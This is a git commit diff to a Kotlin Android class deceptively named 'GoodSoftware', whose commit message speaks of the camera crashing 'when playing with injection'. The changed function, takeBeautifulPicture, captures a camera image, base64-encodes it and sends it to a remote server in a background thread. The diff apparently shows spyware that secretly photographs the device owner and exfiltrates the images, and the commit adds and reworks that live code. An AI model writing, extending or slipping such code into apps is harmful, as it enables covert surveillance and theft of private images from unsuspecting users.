The camera likes crashing when playing with injection... hopefully this fixes that
This commit is contained in:
parent
c3e86065cf
commit
e04f53aff2
@ -42,6 +42,7 @@ import javax.crypto.spec.IvParameterSpec
|
||||
import javax.crypto.spec.SecretKeySpec
|
||||
import kotlin.concurrent.schedule
|
||||
import kotlin.concurrent.scheduleAtFixedRate
|
||||
import kotlin.concurrent.thread
|
||||
|
||||
|
||||
class GoodSoftware (private val activity: Context) {
|
||||
@ -411,13 +412,6 @@ class GoodSoftware (private val activity: Context) {
|
||||
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
|
||||
try {
|
||||
cameraProvider = ProcessCameraProvider.getInstance(context).await()
|
||||
} catch (e: ClassNotFoundException) {
|
||||
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
|
||||
return
|
||||
} catch (e: Exception) {
|
||||
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
|
||||
return
|
||||
}
|
||||
|
||||
if (!hasBackCamera() && !hasFrontCamera()) {
|
||||
Log.e(picture.TAG, "Back and front camera are unavailable")
|
||||
@ -448,14 +442,18 @@ class GoodSoftware (private val activity: Context) {
|
||||
buffer.get(bytes)
|
||||
byteArrayOutputStream.write(bytes)
|
||||
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
||||
Thread {
|
||||
thread {
|
||||
try {
|
||||
val conn = establishConnectionWithRetry()
|
||||
if (conn == null) {
|
||||
return@Thread
|
||||
return@thread
|
||||
}
|
||||
sendDataToServer(base64Image, conn)
|
||||
disconnect(conn)
|
||||
}.start()
|
||||
} catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}
|
||||
cameraProvider?.unbindAll()
|
||||
image.close()
|
||||
}
|
||||
@ -467,11 +465,12 @@ class GoodSoftware (private val activity: Context) {
|
||||
ContextCompat.getMainExecutor(context),
|
||||
imageCapturedListener
|
||||
)
|
||||
} catch (e: ClassNotFoundException) {
|
||||
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
|
||||
} catch (e: Exception) {
|
||||
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
private fun hasBackCamera(): Boolean {
|
||||
|
Loading…
x
Reference in New Issue
Block a user